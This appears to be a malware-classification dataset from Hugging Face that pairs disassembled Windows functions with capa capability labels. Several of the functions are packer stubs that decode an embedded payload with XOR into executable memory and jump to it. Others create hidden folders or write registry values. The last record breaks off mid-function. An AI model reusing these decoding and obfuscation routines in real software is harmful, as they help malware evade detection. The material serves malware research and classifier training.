joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401d36
Capabilities:
Create directory
Get common file path
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x28c
mov dword [ebp - 0x23c], sym.3__:k_T_A_revkB_jkU_FvA_revmj_BB_vA_revmj_BB_
mov dword [ebp - 0x238], 0x43c046
lea eax, [ebp - 0x234]
lea edx, [ebp - 0x18]
mov dword [eax], edx
mov edx, 0x401f6a
mov dword [eax + 4], edx
mov dword [eax + 8], esp
lea eax, [ebp - 0x254]
mov dword [esp], eax
call fcn.0040d0f0
add dword [0x441018], 0xfffffff9
adc dword [0x44101c], 0xffffffff
mov dword [esp + 0x10], 0x4410b0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x23
mov dword [esp], 0
mov dword [ebp - 0x250], 0xffffffff
call sub.SHELL32.DLL_SHGetFolderPathA
sub esp, 0x14
mov dword [esp + 4], 0x43e005
mov dword [esp], 0x4410b0
call sub.msvcrt.dll_strcat
mov dword [esp + 4], str.Saaaalamm
mov dword [esp], 0x4410b0
call sub.msvcrt.dll_strcat
mov dword [esp + 4], 0
mov dword [esp], 0x4410b0
call sub.KERNEL32.DLL_CreateDirectoryA
sub esp, 8
mov dword [esp + 4], str.Mira.h
mov dword [esp], 0x4410b0
call sub.msvcrt.dll_strcat
mov dword [esp + 4], 0x10
mov dword [esp], 4
call sym.V_mbJAW_BN_mzB__vi:f
mov dword [esp + 8], eax
mov dword [esp + 4], 0x4410b0
lea eax, [ebp - 0x118]
mov dword [esp], eax
call sym._ju_BPumj_BBmeB_Aju_BPA_Bpc_T.B
mov dword [esp + 4], 8
mov dword [esp], 4
call sym.V_mbJAW_BN_mzB__vi:f
mov dword [esp + 8], eax
mov dword [esp + 4], 0x43d040
lea eax, [ebp - 0x218]
mov dword [esp], eax
mov dword [ebp - 0x250], 2
call sym._ju_BPumj_BBmeB_Aju_BPA_Bpc_T.B
mov dword [ebp - 0x220], 0
mov dword [ebp - 0x21c], 0
mov eax, dword [ebp - 0x220]
mov edx, dword [ebp - 0x21c]
mov dword [ebp - 0x260], eax
mov dword [ebp - 0x25c], edx
mov edx, dword [ebp - 0x25c]
cmp edx, dword [0x44101c]
jg 0x401f2b
mov eax, dword [ebp - 0x25c]
cmp eax, dword [0x44101c]
jl 0x401ed0
mov edx, dword [ebp - 0x260]
cmp edx, dword [0x441018]
jae 0x401f2b
mov dword [esp + 8], 1
mov dword [esp + 4], 0x441020
lea eax, [ebp - 0x218]
mov dword [esp], eax
mov dword [ebp - 0x250], 1
call sym.BBgp_BpFBBg_BpFBBg_BpFBBg_BpFBBg_BpFBBg_BpFBBg_BpFBBg_B
mov dword [esp + 8], 1
mov dword [esp + 4], 0x441020
lea eax, [ebp - 0x118]
add eax, 8
mov dword [esp], eax
call sym.9D_CCm9DF9FVuCmFm_i_a0A_Qg5BBEpBBd7A_i__yEc
lea eax, [ebp - 0x220]
add dword [eax], 1
adc dword [eax + 4], 0
jmp 0x401e8e
lea eax, [ebp - 0x218]
mov dword [esp], eax
mov dword [ebp - 0x250], 1
call sym.TBc_f_B_eAvfAf9NgBBAVmB_AfJi_BAsB_j
lea eax, [ebp - 0x118]
mov dword [esp], eax
call sym.TBc_f_B_eAvfAf9NgBBAVmB_AfJi_BAsB_j
mov dword [esp + 4], 2
mov dword [esp], 0x4410b0
call sub.KERNEL32.DLL_SetFileAttributesA
sub esp, 8
jmp 0x401fb6
lea eax, [ebp - 0x218]
mov dword [esp], eax
mov dword [ebp - 0x250], 2
call sym.FpFo9bi_:k__k._B_Be_sBi_C__BiAoeIA_iwiB
jmp 0x402018
lea eax, [ebp - 0x118]
mov dword [esp], eax
mov dword [ebp - 0x250], 0xffffffff
call sym.FpFo9bi_:k__k._B_Be_sBi_C__BiAoeIA_iwiB
lea eax, [ebp - 0x254]
mov dword [esp], eax
call fcn.0040d1d0
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x4040a0
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
call dword [sym.imp.KERNEL32.DLL_TlsAlloc]
cmp eax, 0xffffffff
je 0x4040d6
mov dword [0x4451d0], eax
mov edx, sym._.:BKBnB_f__eA_.fi_FCDAADALAA_A_.fk_
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.0040cb80
test eax, eax
sete al
movzx eax, al
mov dword [0x43d0f0], eax
leave
ret
call dword [sym.imp.KERNEL32.DLL_GetLastError]
test eax, eax
sete al
movzx eax, al
mov dword [0x43d0f0], eax
leave
ret

Function at 0x4041c0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
lea eax, [ebp - 0xc]
sub esp, 0x68
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x40]
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], esi
mov dword [ebp - 4], edi
mov dword [ebp - 0x28], sym.3__:k_T_A_revkB_jkU_FvA_revmj_BB_vA_revmj_BB_
mov dword [ebp - 0x24], 0x43c6d4
mov dword [ebp - 0x1c], 0x404280
mov dword [ebp - 0x18], esp
mov dword [esp], eax
call fcn.0040d0f0
cmp dword [0x43d0f0], 0
mov dword [ebp - 0x44], 0x4451e0
je 0x404260
jl 0x4042a0
mov dword [ebp - 0x3c], 1
mov eax, dword [0x4451d0]
mov dword [ebp - 0x4c], eax
mov eax, dword [sym.imp.KERNEL32.DLL_GetLastError]
call eax
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x4c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.DLL_TlsGetValue]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x50]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.DLL_SetLastError]
mov eax, dword [ebp - 0x54]
sub esp, 4
test eax, eax
mov dword [ebp - 0x48], eax
je 0x404343
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x44], eax
lea esi, [esi]
lea eax, [ebp - 0x40]
mov dword [esp], eax
call fcn.0040d1d0
mov eax, dword [ebp - 0x44]
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
mov edx, dword [0x4457f0]
mov eax, 0xffffffff
test edx, edx
je 0x4042ba
mov eax, dword [0x43d0f4]
test eax, eax
je 0x4042fa
xor eax, eax
test eax, eax
jne 0x4042f0
mov edi, dword [0x43d0f0]
test edi, edi
js 0x4042f0
mov dword [ebp - 0x44], 0x4451e0
mov ebx, dword [0x43d0f0]
test ebx, ebx
je 0x404260
jmp 0x40420e
xor esi, esi
mov dword [0x43d0f0], esi
jmp 0x4042c8
mov dword [esp], 0x43d0f8
mov dword [ebp - 0x3c], 1
call sub.KERNEL32.DLL_InterlockedIncrement
sub esp, 4
test eax, eax
je 0x404381
mov eax, dword [0x43d0f4]
test eax, eax
jne 0x4042b8
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.DLL_Sleep]
mov dword [ebp - 0x3c], 1
call eax
sub esp, 4
mov eax, dword [0x43d0f4]
test eax, eax
je 0x40431d
jmp 0x4042b8
mov dword [esp], 8
call sub.msvcrt.dll_malloc
mov dword [ebp - 0x48], eax
test eax, eax
je 0x404375
mov dword [esp + 4], eax
mov eax, dword [0x4451d0]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.DLL_TlsSetValue]
sub esp, 8
xor edx, edx
test eax, eax
je 0x4043aa
test edx, edx
je 0x404395
mov dword [ebp - 0x3c], 1
call sym._AzeA_eA_b5TN9F_ckC:AABAoNe_AAAb_AyB
call sym.BnB_f__eA_.fi_FCDAADALAA_A_.fk__AAA_
mov eax, 1
mov dword [0x43d0f4], eax
jmp 0x4042b8
mov eax, dword [ebp - 0x48]
mov dword [eax], 0
mov dword [eax + 4], 0
jmp 0x404256
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov edx, eax
jmp 0x404371
Function at 0x4099f0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
mov esi, dword [ebp + 0x10]
mov dword [ebp - 0x10], eax
lea esi, [esi]
lea edi, [edi]
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._QdkAAoQdXBE:Cl_QeKA_B_AAF__NuAWZ_Ccf_BC_AC
mov dword [esp], eax
mov dword [esp + 8], esi
mov dword [esp + 4], edi
call sub.msvcrt.dll__read
cmp eax, 0xffffffff
mov ebx, eax
jne 0x409a3c
call sub.msvcrt.dll__errno
cmp dword [eax], 4
je 0x409a10
add esp, 0x1c
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x40ca20
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov eax, 0x10
mov ebp, esp
push ebx
sub esp, 0x64
and esp, 0xfffffff0
call fcn.0040db40
call fcn.0040cc80
call sub.KERNEL32.DLL_GetCommandLineA
mov ebx, eax
lea eax, [ebp - 0x58]
mov dword [esp], eax
call sub.KERNEL32.DLL_GetStartupInfoA
sub esp, 4
test ebx, ebx
jne 0x40ca58
jmp 0x40caf6
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
sete al
cmp cl, 9
sete dl
or eax, edx
test al, 1
jne 0x40ca57
cmp cl, 0x22
je 0x40cab0
cmp cl, 0x20
setne al
xor edx, edx
cmp cl, 9
setne dl
test eax, edx
je 0x40cad0
lea esi, [esi]
lea edi, [edi]
test cl, cl
je 0x40cad0
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
setne al
xor edx, edx
cmp cl, 9
setne dl
test eax, edx
jne 0x40ca90
jmp 0x40cad0
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x22
setne al
xor edx, edx
test cl, cl
setne dl
test eax, edx
jne 0x40cab0
cmp cl, 0x22
je 0x40cb32
lea esi, [esi]
cmp cl, 0x20
sete al
cmp cl, 9
sete dl
jmp 0x40caf0
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
sete dl
cmp cl, 9
sete al
or eax, edx
test al, 1
jne 0x40cae0
mov dword [esp], 0
call sub.KERNEL32.DLL_GetModuleHandleA
sub esp, 4
test byte [ebp - 0x2c], 1
mov edx, 0xa
je 0x40cb14
movzx edx, word [ebp - 0x28]
mov dword [esp + 8], ebx
xor ebx, ebx
mov dword [esp + 4], ebx
mov dword [esp + 0xc], edx
mov dword [esp], eax
call sym.B_J0ZBFJ_jBi.p_Bi2J__V_mbJAW_BN_mzB__vi:f
sub esp, 0x10
mov ebx, dword [ebp - 4]
leave
ret
inc ebx
movzx ecx, byte [ebx]
jmp 0x40cad0

Function at 0x40cfe0
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x14
mov ebx, dword [0x445850]
call dword [sym.imp.KERNEL32.DLL_TlsAlloc]
cmp eax, 0xffffffff
je 0x40d020
mov dword [ebx + 0x2c], eax
xor eax, eax
mov dword [esp + 4], eax
mov eax, dword [ebx + 0x2c]
mov dword [esp], eax
call fcn.0040cb80
test eax, eax
sete al
movzx eax, al
mov dword [ebx + 0x30], eax
add esp, 0x14
pop ebx
pop ebp
ret
call dword [sym.imp.KERNEL32.DLL_GetLastError]
test eax, eax
sete al
movzx eax, al
mov dword [ebx + 0x30], eax
add esp, 0x14
pop ebx
pop ebp
ret
Function at 0x4015b6
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x408
mov eax, dword [esp + 0x40c]
push ebx
push ebp
push esi
push edi
push 0x106
mov ebp, 0x403140
xor ebx, ebx
push ebp
push eax
mov dword [esp + 0x20], ebx
mov dword [esp + 0x1c], ebx
mov byte [esp + 0x24], bl
mov dword [0x40324c], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll__lopen]
mov esi, eax
cmp esi, ebx
je 0x401675
push 0x41
push esi
call fcn.00401082
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll__lclose]
cmp edi, ebx
je 0x401675
push 0x20
push ebp
call dword [sym.imp.MSVCR71.dll__mbschr]
pop ecx
test eax, eax
pop ecx
lea eax, [esp + 0x18]
je 0x401647
mov edi, 0x40213c
push edi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push ebp
lea eax, [esp + 0x1c]
push eax
call esi
push edi
lea eax, [esp + 0x1c]
push eax
call esi
jmp 0x401655
push ebp
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x402138
lea eax, [esp + 0x1c]
push eax
call esi
cmp dword [0x403010], ebx
jne 0x401675
push 0x402134
lea eax, [esp + 0x1c]
push eax
call esi
mov esi, dword [esp + 0x424]
cmp esi, ebx
je 0x4017a7
cmp byte [esi], 0
je 0x4017a0
lea edi, [esi + 1]
push 0x20
push edi
call dword [sym.imp.MSVCR71.dll__mbschr]
mov ebx, eax
mov al, byte [esi]
cmp al, 0x2f
pop ecx
pop ecx
je 0x4016cd
cmp al, 0x2d
je 0x4016cd
test ebx, ebx
je 0x4016ae
mov byte [ebx], 0
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x1c]
push eax
call esi
push 0x402138
lea eax, [esp + 0x1c]
push eax
call esi
jmp 0x401791
mov al, byte [edi]
cmp al, 0x45
je 0x401787
cmp al, 0x65
je 0x401787
cmp al, 0x44
je 0x401722
cmp al, 0x64
je 0x401722
push str.regserver
push edi
call dword [sym.imp.MSVCR71.dll__mbsicmp]
test eax, eax
pop ecx
pop ecx
jne 0x401706
mov dword [esp + 0x10], 1
jmp 0x401791
push str.unregserver
push edi
call dword [sym.imp.MSVCR71.dll__mbsicmp]
test eax, eax
pop ecx
pop ecx
jne 0x4016a7
mov dword [esp + 0x10], 2
jmp 0x401791
xor eax, eax
inc eax
inc esi
inc esi
mov dword [0x40346c], eax
cmp byte [esi], 0x22
mov dword [esp + 0x14], eax
jne 0x40175b
inc esi
push 0x22
push esi
call dword [sym.imp.MSVCR71.dll__mbschr]
mov edi, eax
test edi, edi
pop ecx
pop ecx
je 0x4017b4
push esi
push 0x403366
mov byte [edi], 0
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea esi, [edi + 1]
jmp 0x401798
test ebx, ebx
je 0x401762
mov byte [ebx], 0
push esi
push 0x403366
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
xor eax, eax
cmp byte [eax + 0x403366], 0
je 0x401781
inc eax
cmp eax, 0x106
jl 0x401770
lea esi, [esi + eax + 1]
jmp 0x401798
mov dword [0x403120], 1
test ebx, ebx
je 0x4017a0
lea esi, [ebx + 1]
test esi, esi
jne 0x401684
cmp dword [esp + 0x14], 0
jne 0x4017b4
call fcn.00401536
test eax, eax
je 0x401851
mov ecx, dword [0x40346c]
imul ecx, ecx, 0x106
mov esi, 0x403260
add ecx, esi
call fcn.00401257
mov edi, eax
mov eax, dword [0x40346c]
imul eax, eax, 0x106
add eax, esi
push eax
nop
jmp section..xdata
xor eax, eax
jmp 0x401866
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x408
ret 0x10
Function at 0x1000b7d0
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 8]
push dword [ebp + 0xc]
push 0xd
push dword [ecx + 0x38]
call dword [sym.imp.USER32.dll_SendMessageA]
pop ebp
ret 8

Function at 0x1000ce6d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x1000ce7c
pop dword [ebp - 0x34]
mov eax, 0x1000ce7c
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0x53f7733a
sub dword [ebp - 0x44], 0x5a52def
mov dword [ebp - 0x40], 0xa52f3107
sub dword [ebp - 0x40], 0x72fbe4c2
mov dword [ebp - 0x3c], 0x2793dbe0
add dword [ebp - 0x3c], 0x24b8684e
mov dword [ebp - 0x38], 0xb32a4b37
sub dword [ebp - 0x38], 0xb32a4b37
lea eax, [ebp - 0x44]
push eax
mov eax, 0xa91fcd4a
add eax, 0x66e12366
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0xcbe3d99f
add dword [ebp - 0x44], 0xa88e8fb7
mov dword [ebp - 0x40], 0xcf78ffd0
add dword [ebp - 0x40], 0x71f361a5
mov dword [ebp - 0x3c], 0x6340cf84
add dword [ebp - 0x3c], 0x2e9ce8
mov dword [ebp - 0x38], 0x68527ffd
sub dword [ebp - 0x38], 0x68527ffd
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, 0xfa4e24c9
add eax, 0x15b2cbdf
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x3b2fc
push 0
call eax
mov ecx, 0xb2760cf2
add ecx, 0x4d8a448b
mov ebx, eax
mov esi, 0x10023600
add esi, dword [ebp - 0x34]
mov edx, 0x92a0b60
add edx, 0xdbda0dc5
sub dword [ebp - 0x20], 0xc971dabf
mov edi, dword [esi]
xor dword [ebp - 8], ecx
sub edi, edx
add dword [ebp - 0x24], 0x759d936
mov dword [ebx], edi
mov dword [ebp - 4], 0xf8d25a27
add ebx, 0xeaca1d1d
sub ebx, 0xeaca1d19
add esi, 4
loop 0x1000cf93
add eax, 0xd538517e
sub eax, 0xd53718b7
mov ebx, eax
add eax, 0x4799cf86
add eax, 0xb866307f
mov ecx, 0xea720612
add ecx, 0x258df9ee
add ecx, dword [ebp - 0x34]
call ebx
leave
ret
Function at 0x10008880
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
lea ebp, [esp - 0x39c]
sub esp, 0x41c
mov eax, dword [0x10028164]
xor eax, ebp
mov dword [ebp + 0x398], eax
mov edx, dword [ebp + 0x3a8]
mov eax, dword [ebp + 0x3a4]
push ebx
push esi
xor esi, esi
mov dword [ebp - 0x70], edx
mov edx, dword [ebp + 0x3ac]
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x78], edx
mov dword [ebp - 0x7c], ecx
mov dword [ebp - 0x80], esi
mov dword [ebp - 0x6c], esi
push edi
test eax, eax
je 0x10008a43
mov ecx, eax
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x100088d1
sub ecx, edx
sar ecx, 1
lea eax, [ecx + 1]
mov ecx, 2
imul ecx
mov edi, eax
test edx, edx
jg 0x10008977
jl 0x100088fe
cmp edi, 0x7fffffff
ja 0x10008977
cmp edx, 0xffffffff
jl 0x10008977
jg 0x1000890d
cmp edi, 0x80000000
jb 0x10008977
cmp edi, 0x400
jg 0x1000892d
push edi
call fcn.1001c28b
add esp, 4
test al, al
je 0x1000892d
mov eax, edi
call fcn.1000bf00
mov ebx, esp
jmp 0x10008951
mov eax, edi
not eax
cmp eax, 8
jb 0x10008a91
lea eax, [edi + 8]
push eax
call fcn.1001c28b
add esp, 4
test eax, eax
je 0x10008977
mov dword [eax], esi
lea ebx, [eax + 8]
mov esi, eax
test ebx, ebx
je 0x10008977
push 0
push 0
push edi
push ebx
push 0xffffffffffffffff
push dword [ebp - 0x74]
mov byte [ebx], 0
push 0
push 3
call dword [sym.imp.kernel32.dll_WideCharToMultiByte]
mov edi, eax
neg edi
sbb edi, edi
and edi, ebx
jmp 0x10008979
xor edi, edi
test edi, edi
je 0x10008a43
push 0x60
push 0
push edi
call dword [sym.imp.kernel32.dll_LoadLibraryExA]
mov ebx, eax
test ebx, ebx
jne 0x100089ae
push 2
push eax
push edi
call dword [sym.imp.kernel32.dll_LoadLibraryExA]
mov ebx, eax
test ebx, ebx
jne 0x100089ae
call fcn.10003920
mov edi, eax
jmp 0x10008a48
push dword [ebp - 0x78]
push dword [ebp - 0x70]
push ebx
call dword [sym.imp.kernel32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x100089c8
call fcn.10003920
jmp 0x10008a34
push edi
push ebx
call dword [sym.imp.kernel32.dll_LoadResource]
mov dword [ebp - 0x70], eax
test eax, eax
jne 0x100089de
call fcn.10003920
jmp 0x10008a34
push edi
push ebx
call dword [sym.imp.kernel32.dll_SizeofResource]
mov edi, eax
lea eax, [edi + 1]
cmp eax, edi
jae 0x100089f6
mov edi, 0x8007000e
jmp 0x10008a36
push eax
lea ecx, [ebp - 0x6c]
call fcn.100033c0
cmp dword [ebp - 0x6c], 0
jne 0x10008a0c
mov edi, 0x8007000e
jmp 0x10008a36
push edi
push dword [ebp - 0x70]
push edi
push dword [ebp - 0x6c]
call fcn.1000aa30
mov eax, dword [ebp - 0x6c]
lea ecx, [ebp - 0x80]
add esp, 0x10
mov byte [eax + edi], 0
push dword [ebp + 0x3b0]
push dword [ebp - 0x6c]
call fcn.100086f0
mov edi, eax
test ebx, ebx
je 0x10008a48
push ebx
call dword [sym.imp.kernel32.dll_FreeLibrary]
jmp 0x10008a48
mov edi, 0x8007000e
lea eax, [ebp - 0x68]
cmp dword [ebp - 0x6c], eax
je 0x10008a58
lea ecx, [ebp - 0x6c]
call fcn.10005750
test esi, esi
je 0x10008a6f
nop dword [eax]
push esi
mov esi, dword [esi]
call fcn.1001c28b
add esp, 4
test esi, esi
jne 0x10008a60
mov eax, edi
lea esp, [ebp - 0x8c]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x398]
xor ecx, ebp
call fcn.1000bc54
lea esp, [ebp + 0x39c]
pop ebp
ret 0x10
push 0x80070216
call fcn.100013a0
int3
Function at 0x1000aeb0
Capabilities:
Create process on windows

Disassembly:
mov eax, dword [esp + 4]
test eax, eax
jne 0x1000aeb9
ret
push dword [esp + 0x28]
push dword [esp + 0x28]
push dword [esp + 0x28]
push dword [esp + 0x28]
push dword [esp + 0x28]
push dword [esp + 0x28]
push dword [esp + 0x28]
push dword [esp + 0x28]
push dword [esp + 0x28]
push eax
call dword [sym.imp.kernel32.dll_CreateProcessA]
ret

Function at 0x1001c28b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x1001c29a
pop dword [ebp - 0x4c]
mov eax, 0x1001c29a
sub dword [ebp - 0x4c], eax
push 0x40
push 0x1000
push 0x39431
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x4c]
call dword [eax]
mov ecx, 0x5a3a5471
sub ecx, 0x5a3a1326
mov ebx, eax
mov esi, 0x1002e200
add esi, dword [ebp - 0x4c]
mov edi, 0xe3a741a2
add edi, 0xe7dd6184
add dword [ebp - 4], ecx
mov edx, dword [esi]
xor dword [ebp - 0x3c], 0xe6b2178d
xor edx, edi
mov dword [ebx], edx
xor dword [ebp - 0x18], esi
add ebx, 0xd0725e2f
add ebx, 0x2f8da1d5
add esi, 0x3cd97f26
add esi, 0xc32680de
loop 0x1001c2e9
add eax, 0xf7ff
xor ebx, ebx
add ebx, eax
add eax, 0xf20538fe
sub eax, 0xf20538f9
mov ecx, 0x10000000
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0x40333c
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x410aa0
call fcn.00406024
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x40323d
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x40323d
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x40323d
cmp dword [eax + 0x400074], 0xe
jbe 0x40323d
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x403241
and dword [ebp - 0x1c], 0
push 1
call main
pop ecx
test eax, eax
jne 0x403255
push 0x1c
call main
pop ecx
call fcn.00407199
test eax, eax
jne 0x403266
push 0x10
call main
pop ecx
call fcn.00406d3d
and dword [ebp - 4], 0
call fcn.00403bed
test eax, eax
jge 0x403280
push 0x1b
call main
pop ecx
call sub.kernel32.dll_GetCommandLineW
mov dword [0x413d00], eax
call fcn.00406ce0
mov dword [0x412ff8], eax
call main
test eax, eax
jge 0x4032a5
push 8
call main
pop ecx
call fcn.00406a03
test eax, eax
jge 0x4032b6
push 9
call main
pop ecx
push 1
call main
pop ecx
test eax, eax
je 0x4032c9
push eax
call main
pop ecx
mov eax, dword [0x413340]
mov dword [0x413344], eax
push eax
push dword [0x413334]
push dword [0x41332c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4032f7
push eax
call main
call fcn.0040428b
jmp 0x40332c
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.00406069
ret
call main
jmp 0x4031eb

Function at 0x40d089
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x40d098
pop dword [ebp - 0xc]
mov eax, 0x40d098
sub dword [ebp - 0xc], eax
push 0x40
push 0x1000
push 0x3694b
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0xc]
call dword [eax]
mov ecx, 0xcdf92fb
add ecx, 0xf320aa0a
xor edi, edi
add edi, eax
mov esi, 0x417800
add esi, dword [ebp - 0xc]
mov ebx, 0x12442de9
sub ebx, 0x1e19ec3e
xor dword [ebp - 4], edx
mov edx, dword [esi]
xor dword [ebp - 4], 0x2e542811
xor edx, ebx
xor dword [ebp - 4], edi
mov dword [edi], edx
xor dword [ebp - 4], 0xb26ee23e
add edi, 0xfa964555
sub edi, 0xfa964551
add esi, 0x8c6240c9
sub esi, 0x8c6240c5
loop 0x40d0e9
add eax, 0x6d3d28f5
add eax, 0x92c3bdf2
xor ebx, ebx
add ebx, eax
add eax, 0x4bede134
add eax, 0xb4121ed1
mov ecx, 0x2dc54205
sub ecx, 0x2d854205
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x42de70
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x42decf
mov dword [ebp - 0xc], 4
mov dword [ebp - 0x10], 4
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp + 0x14]
push ecx
lea edx, [ebp - 0xc]
push edx
push 0
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov dword [ebp - 8], eax
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret

Function at 0x42e680
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 0x10], 0
mov eax, dword [ebp + 0x14]
push eax
lea ecx, [ebp - 0xc]
call main
lea ecx, [ebp - 0xc]
call main
mov dword [ebp - 4], eax
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 8]
push edx
push 0
push 0xf003f
push 0
push 0
push 0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x42e731
cmp dword [ebp + 0x18], 1
je 0x42e6d7
cmp dword [ebp + 0x18], 2
jne 0x42e701
mov edx, dword [ebp - 4]
shl edx, 1
push edx
mov eax, dword [ebp + 0x14]
push eax
mov ecx, dword [ebp + 0x18]
push ecx
push 0
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
neg eax
sbb eax, eax
add eax, 1
mov dword [ebp - 0x10], eax
jmp 0x42e727
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp + 0x14]
push edx
mov eax, dword [ebp + 0x18]
push eax
push 0
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
neg eax
sbb eax, eax
add eax, 1
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 0x18], ecx
lea ecx, [ebp - 0xc]
call main
mov eax, dword [ebp - 0x18]
mov esp, ebp
pop ebp
ret
Function at 0x433720
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x43372f
pop dword [ebp - 0x20]
mov eax, 0x43372f
sub dword [ebp - 0x20], eax
push 0x40
push 0x1000
push GetMessageTime
push 0
mov eax, 0x288c1be8
sub eax, 0x28485990
add eax, dword [ebp - 0x20]
call dword [eax]
mov ecx, 0x3a983861
add ecx, 0xc5680dfb
xor ebx, ebx
add ebx, eax
mov edx, 0x97f937cb
add edx, 0x684d7a35
add edx, dword [ebp - 0x20]
mov edi, 0x36571cbf
xor dword [ebp - 0xc], edi
mov esi, dword [edx]
add esi, edi
mov dword [ebp - 0xc], 0xf7b4aeb5
mov dword [ebx], esi
add ebx, 0x636ec4e4
add ebx, 0x9c913b20
add edx, 0xd65d5250
sub edx, 0xd65d524c
loop 0x433785
add eax, 0x10c43
mov ebx, eax
add eax, 5
mov ecx, 0xc9c3fbd4
add ecx, 0x367c042c
add ecx, dword [ebp - 0x20]
